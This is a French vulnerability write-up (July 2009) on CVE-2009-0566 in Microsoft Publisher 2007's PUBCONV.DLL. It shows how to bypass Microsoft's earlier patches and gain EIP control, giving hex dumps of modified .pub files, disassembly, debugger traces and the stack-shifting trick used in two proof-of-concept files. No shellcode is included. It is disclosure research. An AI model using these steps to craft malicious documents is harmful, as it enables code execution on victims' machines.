Microsoft Office System 2007 Service Pack 1

Déréférencement arbitraire du pointeur d'instruction

Fournisseur:
Microsoft

Système affecté :
Microsoft Office Publisher 2007 SP1

Références CVE :
CVE-2009-0566

Informations complémentaires :
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=812
http://www.microsoft.com/france/technet/security/Bulletin/MS09-030.mspx

Description générale :

Il existe une vulnérabilité critique dans Microsoft Publisher 2007 au niveau de son module PUBCONV.DLL. Ce module permet à Publisher 2007 de convertir des fichiers .pub créés par des versions antérieures.
Cette vulnérabilité permet d'avoir un contrôle sur le pointeur d'instruction Eip et ainsi d'exécuter du code arbitraire à distance.

Ce problème a déjà été identifié en février 2007 par eEye et Microsoft a publié un premier correctif en juillet 2007.

Bulletin de sécurité Microsoft MS07-037 - Important
Une vulnérabilité dans Microsoft Office Publisher 2007 pourrait permettre l'exécution de code à distance (936548)
http://www.microsoft.com/france/technet/security/Bulletin/MS07-037.mspx
http://research.eeye.com/html/advisories/published/AD20070710.html

Il a ensuite été mise à jour en mai 2008 avec un nouveau correctif :
Bulletin de sécurité Microsoft MS08-027 – Critique
Une vulnérabilité dans Microsoft Publisher pourrait permettre l'exécution de code à distance (951208)
http://www.microsoft.com/france/technet/security/Bulletin/MS08-027.mspx

Ces correctifs de Microsoft ajoutent des vérifications supplémentaires de l'objet TextBox au niveau du module principal MSPUB.EXE. Ces vérifications sont faites avant le traitement du fichier par PUBCONV.DLL.

Malgré ces correctifs, il existe toujours un moyen d'exploiter cette faille.

Le bulletin de eEyes indique une possibilité de redirection du flux du code sur 3 niveaux.

```
mov ecx, [eax] ; <- eax=pointeur arbitraire (level 1)
               ; <- ecx (level 2)
call [ecx+4]   ; -> redirection vers le payload (level 3)
```

Mes recherches m'ont permis de contourner les correctifs de Microsoft et d'aller plus loin en accédant à un contrôle total et direct du pointeur d'instruction EIP.

Description technique :

Version utilisée pour l'analyse: Microsoft Office Publisher 2007 (Version 12.0.6308.5000) SP1 MSO (12.0.6320.5000)
Module affecté: Microsoft PUBCONV.DLL (version 12.0.6311.5000)

L'objet principal présentant la vulnérabilité est de cette forme :

```
////////////////////////////////////////////////////////////////
struc Definition_of_TextBoxes
{
    struc Table_of_TextBox_Descriptors
    {
        struc Header  // Sizeof Header : 0x12 octets
        {
            WORD Nb_of_Descriptor_ID;  // \Same values.
            WORD Nb_of_Descriptor;     // /What they define is ambiguous
            WORD Size_of_one_Descriptor=0x1E;
            DWORD[3] Unknown={0};
        }
        DWORD[Nb_of_Descripter_ID] Descriptor_ID_List;
        DWORD Separator=0x7FFFFFFF;
        DESCRIPTOR[Nb_of_Descriptor_ID] Descriptor_List;
    }
    .
    . other objects in relation with TexBoxes
    .
}
```

Avec la structure DESCRIPTOR de ce type là :

```
struc DESCRIPTOR // Sizeof DESCRIPTOR : 0x1E octets
{
    DWORD State = 1;
    DWORD index;                  // (ID-1)
    DWORD pointer_object_1 = 0;
    DWORD pointer_object_2 = 0;
    BYTE[0xE] Unknown;
}
```

Vue des structures dans le fichier Original.pub :
(Le fichier pub contient une seule TexBox)

```
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00004AC0   05 00 FF FF FF 7F 37 01  52 00 12 12 00 00 00 00   ..ÿÿÿ•7.R.......
00004AD0   00 00 00 00 00 00 00 00  00 00 01 00 01 00 1E 00   ................
00004AE0   00 00 00 00 00 00 00 00  00 00 00 00 05 00 00 00   ................
00004AF0   FF FF FF 7F 01 00 00 00  04 00 00 00 00 00 00 00   ÿÿÿ•............
00004B00   00 00 00 00 12 00 7C 96  18 CB 7C 96 18 CB 00 00   ......|–.Ë|–.Ë..
00004B10   90 41 33 00 04 04 1C 00  00 00 1C 00 00 00 1C 00   •A3.............
00004B20   00 00 00 20 E9 FD FF FF  02 80 10 00 00 00 75 00   ... éýÿÿ.€....u.
00004B30   ...
```

Dans un premier temps, ces structures sont mappées en mémoire dans le heap.
Certains champs sont des données statiques. Mais d'autres champs peuvent être modifiés ou remplis dans le vue mémoire du heap lors de la phase de conversion.

Par exemple, dans la structure **DESCRIPTOR** des fichiers .pub, les champs **pointer_object_1** et **pointer_object_2** sont NULL. Mais c'est champs sont en fait des buffers qui serviront à stocker des pointers d'objets dans la structure mappée en mémoire.

Personnellement, je trouve que modifier les structures brutes en mémoire avec des pointeurs au lieu de recréer des objets spécifiques apporte un niveau supplémentaire de vulnérabilité lors du traitement de conversion des fichiers pub.

Contournement du dernier correctif MS08-027 de Microsoft:

Lors du chargement d'un fichier .pub qui demande une conversion, Publisher fait une vérification sur l'intégrité des données. Le processus se déroule dans MSPUB.EXE.
Si le fichier semble valide, il est alors traité et converti par PUBCON.DLL.

Le correctif MS08-027 de Microsoft apporte une vérification d'intégrité sur les objets DESCRIPTOR.

Pour accéder à la première structure **DESCRIPTOR**, MSPUB.EXE utilise le champ
`-> Table_of_TextBox_Descriptors.Header.Nb_of_Descriptor_ID`

```
Le décalage est calculé ainsi :
   Pointer of Header + sizeof(Header) + (Nb_of_Descriptor_ID * sizeof(DWORD)) + sizeof(Separator)
-> Pointer of Header + 0x12           + (Nb_of_Descriptor_ID * 4)             + 4
```

MSPUB.EXE:
Pointer of first DESCRIPTOR = Pointer of Header + 0x16 + (Nb_of_Descriptor_ID * 4)

Le rôle et l'utilisation des champs Nb_of_Descriptor_ID et Nb_of_Descriptor sont ambigus.
J'ai toujours vu ces 2 champs avec la même valeur. Pourtant, il est indiqué dans le code de PUBCONV.DLL que Nb_of_Descriptor_ID doit être inférieure ou égale à Nb_of_Descriptor.

PUBCON.DLL n'utilise pas le même champ que MSPUB.EXE pour accéder aux structures DESCRIPTOR.
PUBCON.DLL utilise le champ Nb_of_Descriptor.

PUBCON.DLL:
Pointer of first DESCRIPTOR = Pointer of Header + 0x16 + (Nb_of_Descriptor* 4)

Si l'on augmente la valeur de Nb_of_Descriptor, on peut forcer PUBCON.DLL à accéder à des structures DESCRIPTOR erronées sans parasiter le traitement d'intégrité effectué par MSPUB.EXE.
Lorsque l'on dépasse la liste de DESCRIPTOR (**DESCRIPTOR[Nb_of_Descriptor_ID] Descriptor_List**), il est alors possible de forcer PUBCON.DLL à traiter un objet DESCRIPTOR arbitraire. Il faut juste trouver une zone modifiable sans rendre le fichier invalide. Ceci est facilement réalisable.

Traitement de l'objet DESCRIPTOR par PUBCON.DLL:

L'objet DESCRIPTOR peut avoir plusieurs états en mémoire. Le champ **State** semble indiquer l'état actuelle de l'objet.

Dans son état brut, l'objet DESCRIPTOR a son **State** à 1. C'est sa valeur originale que l'on trouve dans le fichier.

Dans un premier temps, l'objet DESCRIPTOR est mappé en mémoire dans le heap.
Et ses champs non statiques (**pointer_object_1 et pointer_object_2**), sont initialisés à 0.

Mais cette action ne se produit que si le **State** du premier objet DESCRIPTOR indique un état brut, c'est-à-dire une valeur positive (State>=0). Dans le cas où **State** est négatif, PUBCON.DLL considère que les objets sont déjà construits en mémoire et ne touche à rien.

```
 [PUBCONV.DLL (version 12.0.6311.5000)]

.text:3452EE89      push esi
.text:3452EE8A      push 0
.text:3452EE8C      push [ebp+arg_0]
.text:3452EE8F      call Get_Pointer_Of_First_DESCRIPTOR
.text:3452EE94      mov esi, eax
.text:3452EE96      test esi, esi
.text:3452EE98      jz short loc_3452EEBD
.text:3452EE9A      cmp [esi+TEXT_BOX_DESCRIPTOR.State], 0
.text:3452EE9D      jl short Exit  ; If (State of First TEXT_BOX_DESCRIPTOR<0)
                                   ; -> Don't erase pointer buffers
.text:3452EE9F      push 0FFFFFFFFh
.text:3452EEA1      push [ebp+arg_0]
.text:3452EEA4      call sub_3452CAC3
.text:3452EEA9      test edi, edi
.text:3452EEAB      jle short loc_3452EEBD
.text:3452EEAD      lea eax, [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_2]
.text:3452EEB0
.text:3452EEB0 Loop_Erase_Pointer_Buffer:
.text:3452EEB0      and dword ptr [eax-4], 0   ; TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_1
.text:3452EEB4      and dword ptr [eax], 0     ; TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_2
.text:3452EEB7      add eax, 1Eh               ; Sizeof TEXT_BOX_DESCRIPTOR
.text:3452EEBA      dec edi
```

```
.text:3452EEBB      jnz Loop_Erase_Pointer_Buffer
.text:3452EEBD
.text:3452EEBD Exit:
.text:3452EEBD
.text:3452EEBD      pop esi
...
```

Plus loin, lorsque **pointer_object_1** et/ou **pointer_object_2** ne sont pas NULL, PUBCON.DLL est amené à exécuter des fonctions des objets pointés par **pointer_object_1** et **pointer_object_2**.

Il existe 2 cas de figures qui vont amener PUBCON.DLL à exécuter du code différents afin d'appeler des fonctions différentes des objets pointés par **pointer_object_1** et/ou **pointer_object_2**.

1er cas : **pointer_object_1** et **pointer_object_2** ne sont pas NULL (POC_Pointer_Dereference.pub).
2ème cas: un seul des 2 pointers (**pointer_object_1** et **pointer_object_2**) est NULL et l'autre ne l'est pas (POC_EIP_0x41414141.pub).

Après avoir mappé les objets DESCRIPTOR dans le heap, PUBCON.DLL manipule ces objets régulièrement en chargeant à chaque fois une copie de ceux-ci dans la pile à partir de la vue du heap.

CAS n°1: pointer_object_1 != 0 AND pointer_object_2 != 0

La première manipulation intéressante se trouve ici :

```
[PUBCONV.DLL (version 12.0.6311.5000)]

.text:34530792      lea ecx, [ebp+Buffer_Text_Box_Descriptor]
.text:34530795      push ecx                            ; void *
.text:34530796      push [ebp+var_4]                    ; index TEXT_BOX_DESCRIPTOR
.text:34530799      push eax                            ; size_t
.text:3453079A      call Copy_TEXT_BOX_DESCRPTOR_to_Stack_1
.text:3453079F      test eax, eax
.text:345307A1      jz short loc_345307C5

                    ;    | First arbitrary pointer in eax register
                    ;    v
.text:345307A3      mov eax, [ebp+Buffer_Text_Box_Descriptor.Buffer_pointer_object_1]

.text:345307A6      test eax, eax
.text:345307A8      jz short loc_345307C5 ; Buffer_pointer_object_1 can be NULL

.text:345307AA      cmp [ebp+Buffer_Text_Box_Descriptor.Buffer_pointer_object_2], 0
.text:345307AE      jz short loc_345307C5 ; Buffer_pointer_object_2 can be NULL

                    ; Buffer_pointer_object_1 and Buffer_pointer_object_2
                    ; are not NULL.
                    ; ------------------------------------------------------
.text:345307B0      mov [edi], eax
.text:345307B2      mov ecx, [eax]
.text:345307B4      push eax
.text:345307B5      call dword ptr [ecx+4]  ;--> Possible flow control

                    ;    | Second arbitrary pointer in eax register
                    ;    v
.text:345307B8      mov eax, [ebp+Buffer_Text_Box_Descriptor.Buffer_pointer_object_2]
.text:345307BB      mov [ebx], eax
.text:345307BD      mov ecx, [eax]
.text:345307BF      push eax
.text:345307C0      call dword ptr [ecx+4]  ;--> Possible flow control
.text:345307C3      jmp short Exit
.
. [CUT]
.
.text:345307E1 Exit:
.text:345307E1      pop edi
.text:345307E2      pop ebx
.text:345307E3      leave  ; "leave" prevents to play with the stack and
```

```
                        ; execute payload with use "retn 8" :(
.text:345307E4      retn 8
```

Nous voyons que lorsque **pointer_object_1** ET **pointer_object_2** ne sont pas NULL, il est possible de détourner le flux du code:
mov ecx, [Pointeur arbitraire]
push eax
call dword ptr [ecx+4] ; Possible contrôle du flux

Le fichier "POC_Pointer_Dereference.pub" illustre ce premier cas de figure.

Le champ Table_of_TextBox_Descriptors.Header.Nb_of_Descriptor a été mis à 0x28. Le premier DESCRIPTOR traité par PUBCONV.DLL est donc récupéré à l'offset 0x4B90.

Pointer of first DESCRIPTOR = Pointer of Header + 0x16 + (Nb_of_Descriptor * 4)
Pointer of first DESCRIPTOR = 0x4ADA + 0x16 + (0x28*4)
Pointer of first DESCRIPTOR = 0x4B90

Vue des structures dans le fichier "POC_Pointer_Dereference.pub":

Modified Nb_of_Descriptor

First Original DESCRIPTOR

Faked DESCRIPTOR object

Modified data in file

```
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00004AC0   05 00 FF FF FF 7F 37 01  52 00 12 12 00 00 00 00   ..ÿÿÿ•7.R.......
00004AD0   00 00 00 00 00 00 00 00  00 00 01 00 28 00 1E 00   ............(...
00004AE0   00 00 00 00 00 00 00 00  00 00 00 00 05 00 00 00   ................
00004AF0   FF FF FF 7F 01 00 00 00  04 00 00 00 00 00 00 00   ÿÿÿ•............
00004B00   00 00 00 00 12 00 7C 96  18 CB 7C 96 18 CB 00 00   ......|–.Ë|–.Ë..
00004B10   90 41 33 00 04 04 1C 00  00 00 1C 00 00 00 1C 00   •A3.............
00004B20   00 00 00 20 E9 FD FF FF  02 80 10 00 00 00 75 00   ... éýÿÿ.€....u.
00004B30   74 00 66 00 2D 00 38 00  00 00 14 00 7E 20 00 00   t.f.-.8.....~ ..
00004B40   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00004B50   00 00 00 00 00 00 00 00  00 00 00 00 00 00 02 00   ................
00004B60   00 00 00 00 14 00 7E 20  21 01 00 00 00 00 00 00   ......~ !.......
00004B70   E0 D0 5C 01 F8 C4 5C 01  0A 00 00 00 00 00 00 00   àÐ\.øÄ\.........
00004B80   08 01 00 00 00 00 00 00  02 00 00 00 00 00 2C 00   ..............,.
00004B90   18 18 20 AB AB 61 00 10  42 42 42 42 43 43 43 43   .. ««a..BBBBCCCC
00004BA0   01 00 02 00 02 00 04 00  04 00 06 00 00 00 00 00   ................
00004BB0   F0 F9 06 00 06 00 30 B1  5A 00 05 00 F0 F9 06 00   ðù....0±Z...ðù..
```

En choisissant 0x28 comme valeur de Nb_of_Descriptor, nous arrivons à créer un objet DESCRIPTOR truqué avec un champ **State** négatif et en modifiant uniquement 2 dwords en plus dans le fichier original.

```
struc DESCRIPTOR
{
    DWORD State = 0xAB201818;           // State<0
    DWORD index = 0x100061AB;
    DWORD pointer_object_1 = 42424242;  // Not NULL
    DWORD pointer_object_2 = 43434343;  // Not NULL
    BYTE[0xE] Unknown = {1,0,2,0,2,0,4,0,4,0,6,0,0,0};
}
```

Lorsque le code arrive à l'adresse **0x345307B2** (mov ecx, [eax]), nous avons une pile comme ceci:

```
For break in 0x345307B2 (windbg) :
bu PUBCONV!HrGetOutboundConverter+0x30229;
or
bu PUBCONV+000507b2;
```

```
0:000> dds @esp L0x10
0012b4d0  00000008
0012b4d4  00172270
0012b4d8  ab201818 State = negative integer
0012b4dc  100061ab
0012b4e0  42424242 arbitrary pointer (three level)
0012b4e4  43434343 arbitrary pointer (three level)
0012b4e8  00020001
0012b4ec  00040002
0012b4f0  00060004
0012b4f4  00000000
0012b4f8  00000005
0012b4fc  0012b5c4
0012b500  053a0a65 PUBCONV!HrGetOutboundConverter+0x304dc
0012b504  00000137
```

A l'adresse 0x0012b4d4 (esp+4), il y a un pointer vers le heap. On y trouve un morceau du fichier :

```
0:000> !address 00172270
    00150000 : 00150000 - 00059000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   00150000

0:000> db 00172270 L0x100
00172270  15 00 e8 b2 1f 01 23 01-16 01 10 00 00 00 01 00  ......#.........
00172280  01 00 00 00 20 ab 61 00-10 11 33 00 00 00 00 00  .... .a...3.....
00172290  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
001722a0  00 00 00 00 00 00 00 00-00 00 00 00 d0 02 00 00  ................
001722b0  02 01 00 00 00 00 00 00-03 01 00 00 05 01 00 00  ................
001722c0  00 00 00 00 00 00 00 00-01 01 00 00 00 00 29 01  ..............).
001722d0  2a 01 2b 01 00 00 00 00-12 01 1a 01 00 00 1d 01  *.+.............
001722e0  03 00 00 00 00 00 00 00-00 00 00 00 01 00 00 00  ................
001722f0  00 00 00 00 00 00 00 00-00 00 06 01 00 00 00 00  ................
00172300  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00172310  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00172320  00 00 02 00 00 00 e8 06-16 00 00 00 d8 07 0b 00  ................
00172330  06 00 08 00 17 00 38 00-1b 00 de 02 00 00 00 00  ......8.........
00172340  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00172350  00 00 00 00 04 00 02 00-06 00 06 00 02 00 00 00  ................
00172360  00 00 15 01 07 01 0a 01-0d 01 10 01 13 01 00 00  ................
```

Vue dans le fichier Original.pub :

```
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

000041B0   00 00 00 00 00 00 00 00  15 00 E8 B2 1F 01 23 01   .........è²..#.
000041C0   16 01 50 00 00 00 01 00  01 00 00 00 20 AB 61 00   ..P.........  «a.
000041D0   10 11 33 00 00 00 00 00  00 00 00 00 00 00 00 00   ..3.............
000041E0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
000041F0   00 00 00 00 D0 02 00 00  02 01 00 00 00 00 00 00   ....Ð...........
00004200   03 01 00 00 05 01 00 00  00 00 00 00 00 00 00 00   ................
00004210   01 01 00 00 00 00 29 01  2A 01 2B 01 00 00 00 00   ......).*.+.....
00004220   12 01 1A 01 00 00 1D 01  03 00 00 00 00 00 00 00   ................
00004230   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00004240   00 00 06 01 00 00 00 00  00 00 00 00 00 00 00 00   ................
00004250   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00004260   00 00 00 00 00 00 00 00  00 00 06 00 06 00 02 00   ................
00004270   00 00 00 00 15 01 07 01  0A 01 0D 01 10 01 13 01   ................
00004280   29 00 44 3E 00 80 00 00  01 00 00 00 00 00 00 00   ).D>.€..........
00004290   20 01 00 00 00 00 00 00  00 00 00 00 00 00 00 00    ...............
000042A0   00 00 00 00 00 00 00 00  00 00 0A 54 01 00 00 00   ...........T....
000042B0   01 00 00 00 00 00 00 00  00 00 00 00 00 00 02 00   ................
000042C0   00 00 02 00 00 00 A8 00  00 00 0C 00 00 00 00 00   ......¨.........
```

En théorie, cette partie du fichier pourrait donc contenir le paylaod.

Mais l'intégrité des objets contenus dans cette partie du fichier est vérifiée par MSPUB.EXE. Placer un payload à cet endroit demande beaucoup d'ingéniosités.

Autre scénario :
Le nombre de paramètre utilisé par les 2 fonctions que l'on pourrait appeler avec les 2 call[ecx+4] successifs, pourrait permettre de descendre la pile.
L'instruction "retn 8" permettrait ensuite d'avoir un déréférencement direct vers **0x00172270** ou un autre pointeur arbitraire que l'on peut placer dans l'objet DESCRIPTOR.
Malheureusement, l'instruction "leave" empêche d'applique ce scénario.

Par contre, nous allons voir que ce scénario est applicable dans le 2eme cas de figure qui suit.

CAS n°2: pointer_object_1 == 0 AND pointer_object_2 != 0 OR pointer_object_1 != 0 AND pointer_object_2 == 0

La 2eme manipulation intéressante des structures DESCRIPTOR se produit lorsqu'un des 2 pointeurs (**pointer_object_1** et **pointer_object_2**) est NULL.
Dans ce cas, le code que nous venons de voir dans le CAS n°1 (adresse 0x345307B2) n'est pas exécuté.
Par contre, plus loin dans le déroulement de la conversion du fichier, PUBCONV.DLL est amené à exécuter le code suivant:

```
 [PUBCONV.DLL (version 12.0.6311.5000)]

; Treatment loop of Text_Box_Descriptor in the stack
; --------------------------------------------------

...
.text:34542D2B loc_34542D2B:
.text:34542D2B      lea eax, [ebp+Text_Box_Descriptor]
.text:34542D2E      push eax                            ; void *
.text:34542D2F      push ebx                            ; index Text_Box_Descriptor
.text:34542D30      push esi                            ; size_t
.text:34542D31      call Copy_TEXT_BOX_DESCRPTOR_to_Stack
.text:34542D36      lea eax, [ebp+Text_Box_Descriptor]
.text:34542D39      push eax                            ; p_Text_Box_Descriptor
.text:34542D3A      call Use_objects_defined_by_the_pointers_in_Text_Box_Descriptor
.text:34542D3F      inc ebx
.text:34542D40      cmp ebx, edi
.text:34542D42      jl short loc_34542D2B
...
```

```
Use_objects_defined_by_the_pointers_in_Text_Box_Descriptor proc near
;  p_Text_Box_Descriptor= dword ptr  8

.text:34542845      push ebp
.text:34542846      mov ebp, esp
.text:34542848      push esi
.text:34542849      mov esi, [ebp+p_Text_Box_Descriptor]

                    ;    | First arbitrary pointer in eax register
                    ;    v
.text:3454284C      mov eax, [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_1]
.text:3454284F      test eax, eax
.text:34542851      jz short Buffer_pointer_object_1_is_NULL
.text:34542853      mov ecx, [eax]
.text:34542855      push eax
.text:34542856      call dword ptr [ecx+8] ;--> Possible flow control

                    ; Erase Buffer_pointer_object_1
.text:34542859      and [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_1], 0

.text:3454285D Buffer_pointer_object_1_is_NULL:
                    ;    | Second arbitrary pointer in eax register
                    ;    v
.text:3454285D      mov eax, [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_2]
.text:34542860      test eax, eax
.text:34542862      jz short Buffer_pointer_object_2_is_NULL
```

```
.text:34542864      mov ecx, [eax]
.text:34542866      push eax
.text:34542867      call dword ptr [ecx+8] ;--> Possible flow control

                    ; Erase Buffer_pointer_object_2
.text:3454286A      and [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_2], 0

.text:3454286E Buffer_pointer_object_2_is_NULL:
.text:3454286E      pop esi
.text:3454286F      pop ebp
.text:34542870      retn 4 ;--> Possible flow control !
.text:34542870 Use_objects_defined_by_the_pointers_in_Text_Box_Descriptor endp
```

Vue des structures dans le fichier "POC_EIP_0x41414141.pub":

Modified Nb_of_Descriptor

First Original DESCRIPTOR

Faked DESCRIPTOR object

Modified data in file

```
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00004AC0   05 00 FF FF FF 7F 37 01  52 00 12 12 00 00 00 00   ..ÿÿÿ•7.R.......
00004AD0   00 00 00 00 00 00 00 00  00 00 01 00 28 00 1E 00   ............(...
00004AE0   00 00 00 00 00 00 00 00  00 00 00 00 05 00 00 00   ................
00004AF0   FF FF FF 7F 01 00 00 00  04 00 00 00 00 00 00 00   ÿÿÿ•............
00004B00   00 00 00 00 12 00 7C 96  18 CB 7C 96 18 CB 00 00   ......|–.Ë|–.Ë..
00004B10   90 41 33 00 04 04 1C 00  00 00 1C 00 00 00 1C 00   •A3.............
00004B20   00 00 00 20 E9 FD FF FF  02 80 10 00 00 00 75 00   ... éýÿÿ.€....u.
00004B30   74 00 66 00 2D 00 38 00  00 00 14 00 7E 20 00 00   t.f.-.8.....~ ..
00004B40   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00004B50   00 00 00 00 00 00 00 00  00 00 00 00 00 00 02 00   ................
00004B60   00 00 00 00 14 00 7E 20  21 01 00 00 00 00 00 00   ......~ !.......
00004B70   E0 D0 5C 01 F8 C4 5C 01  0A 00 00 00 00 00 00 00   àÐ\.øÄ\.........
00004B80   08 01 00 00 00 00 00 00  02 00 00 00 00 00 2C 00   ..............,.
00004B90   18 18 20 AB 41 41 41 41  2A 17 10 30 00 00 00 00   .. ««a..BBBBCCCC
00004BA0   01 00 02 00 02 00 04 00  04 00 06 00 00 00 00 00   ................
00004BB0   F0 F9 06 00 06 00 30 B1  5A 00 05 00 F0 F9 06 00   ðù....0±Z...ðù..
```

```
struc DESCRIPTOR
{
    DWORD State = 0xAB201818;              // State<0
    DWORD index = 0x41414141;
    DWORD pointer_object_1 = 0x3010172A;  // Pointer to MSPUB.EXE (Not NULL)
    DWORD pointer_object_2 = 0x00000000;  // NULL
    BYTE[0xE] Unknown = {1,0,2,0,2,0,4,0,4,0,6,0,0,0};
}
```

Lorsque le code arrive à l'adresse **0x03a82853** (mov ecx, [eax]), nous avons une pile comme ceci:

```
For break in 0x34542853 (windbg) :

bu PUBCONV!HrGetOutboundConverter+0x422ca;
or
bu PUBCONV+0x00062853;

0:000> dds @esp L0x11
0012b718  0000011c
0012b71c  0012b754
0012b720  03a82d3f PUBCONV!HrGetOutboundConverter+0x427b6
0012b724  0012b734
0012b728  00000100
0012b72c  00000000
```

```
0012b730  00169fe0
0012b734  ab201817
0012b738  41414141
0012b73c  3010172a MSPUB+0x10172a
0012b740  00000000
0012b744  00020001
0012b748  00040002
0012b74c  00060004
0012b750  00000000
0012b754  0012b76c
0012b758  03a796bc PUBCONV!HrGetOutboundConverter+0x39133
```

A l'adresse 0x0012b730 (esp+0x18), il y a un pointer vers le heap. On y trouve un petit morceau du fichier :

```
0:000> !address 00169fe0
    00150000 : 00150000 - 000b7000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   00150000

0:000> db 00169fe0 L0x10
00169fe0  45 00 46 0e 1b 01 1c 01-00 00 00 00 00 00 30 bc  E.F...........0.
```

Vue dans le fichier :

```
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00004A80   0F 00 00 00 0C 00 00 00  01 00 00 00 45 00 46 0E   ............E.F.
00004A90   1B 01 1C 01 00 00 00 00  00 00 4C 00 12 12 00 00   ..........L.....
```

Nous retrouvons encore dans la pile un pointer vers une partie du fichier copiée dans le heap (adresse 0x00169fe0). Mais cette fois-ci la partie mappée du fichier est vraiment petite.

Mécanismes du POC n°2 (POC_EIP_0x41414141.pub):

Le scénario consiste à appeler une fonction quelconque qui utilise 7 paramètres avec seulement le premier "call [ecx+8]". Ceci a pour effet de descendre la pile à 2 dword au dessus de l'objet DESCRIPTOR.
Ensuite l'exécution de
pop esi
pop ebp
retn 4
permet d'opérer un déréférencement arbitraire et directe de eip.

J'ai choisie pour le poc d'appeler l'API kernel32!DuplicateHandle. Les paramètres passés sont évidement invalides mais DuplicateHandle est protégé par un SEH et retourne sans problèmes avec un "retn 0x1C".

L'adresse de DuplicateHandle est prise dans la table import de MSPUB.EXE.
Le pointeur placé dans l'objet DESCRIPTOR est une adresse d'un code qui appelle "extrn MapViewOfFile" dans la Table Import :

```
(pointeur extrn MapViewOfFile:dword)+8  =  pointeur extrn DuplicateHandle:dword
                          call [ecx+8] -> call DuplicateHandle
```

```
MSPUB.EXE code (section .text)

;                       | pointer_object_1 = 0x3010172A
;                       v
.text:30101728    FF 15 98 12 00 30   call ds:MapViewOfFile


MSPUB.EXE Import Table (section .idata)

;...
; LPVOID __stdcall MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess,
;                                DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
;                                DWORD dwNumberOfBytesToMap)
```

```
.idata:30001298 ?? ?? ?? ?? extrn MapViewOfFile:dword

; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
.idata:3000129C ?? ?? ?? ?? extrn OpenProcess:dword


; Use 7 parameters !
;
; BOOL __stdcall DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle,
;                                HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle,
;                                DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
.idata:300012A0 ?? ?? ?? ?? extrn DuplicateHandle:dword
;...
```

Détails du flux du code:

```
.text:3454284C      mov eax, [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_1]
.text:3454284F      test eax, eax
.text:34542851      jz short Buffer_pointer_object_1_is_NULL

; eax = 0x3010172A
.text:34542853      mov ecx, [eax]

; ecx = 0x30001298
.text:34542855      push eax
.text:34542856      call dword ptr [ecx+8] ; call [0x30001298+8] -> call DuplicateHandle
; --> The stack is shifted downwards.

.text:34542859      and [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_1], 0
.text:3454285D      mov eax, [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_2]
; eax = 0x0
.text:34542860      test eax, eax
.text:34542862      jz short Buffer_pointer_object_2_is_NULL
; not executed
.text:34542864      mov ecx, [eax]
.text:34542866      push eax
.text:34542867      call dword ptr [ecx+8]
.text:3454286A      and [esi+TEXT_BOX_DESCRIPTOR.Buffer_pointer_object_2], 0

.text:3454286E Buffer_pointer_object_2_is_NULL:
.text:3454286E      pop esi
.text:3454286F      pop ebp
.text:34542870      retn 4 ;--> eip = 0x41414141
```

Détails des mouvements de la pile:

```
0:000> dds @esp L0x11
0012B714  3010172a                                ; push eax\
0012b718  0000011c                                ; |
0012b71c  0012b754                                ; | call [ecx+8]->call DuplicateHandle
0012b720  03a82d3f PUBCONV!HrGetOutboundConverter+0x427b6; |                  -> retn 1Ch (7*4)
0012b724  0012b734                                ; |
0012b728  00000100                                ; |
0012b72c  00000000                                ; /
0012b730  00169fe0                                ; \ pop esi
0012b734  ab201817                                ; / pop ebp
0012b738  41414141 ;--------------------------------------> ret 4 -> eip = 0x41414141
0012b73c  3010172a MSPUB+0x10172a (MSPUB.EXE code (section .text))

0012b740  00000000
0012b744  00020001
0012b748  00040002
0012b74c  00060004
0012b750  00000000
0012b754  0012b76c
0012b758  03a796bc PUBCONV!HrGetOutboundConverter+0x39133
```

En faisant une recherche mémoire, on trouve une vue complète du fichier dans le heap.

Il est donc possible de placer le payload directement dans le texte UNICODE du textbox et de l'avoir en mémoire au moment du déréférencement.

Le plus difficile est alors de réussir à rediriger le flux vers le payload... ;)

Merci d'avoir lu ce papier jusqu'au bout. :)

That's all folks !
14 juillet 2009
Lionel d'Hauenens - www.laboskopia.com –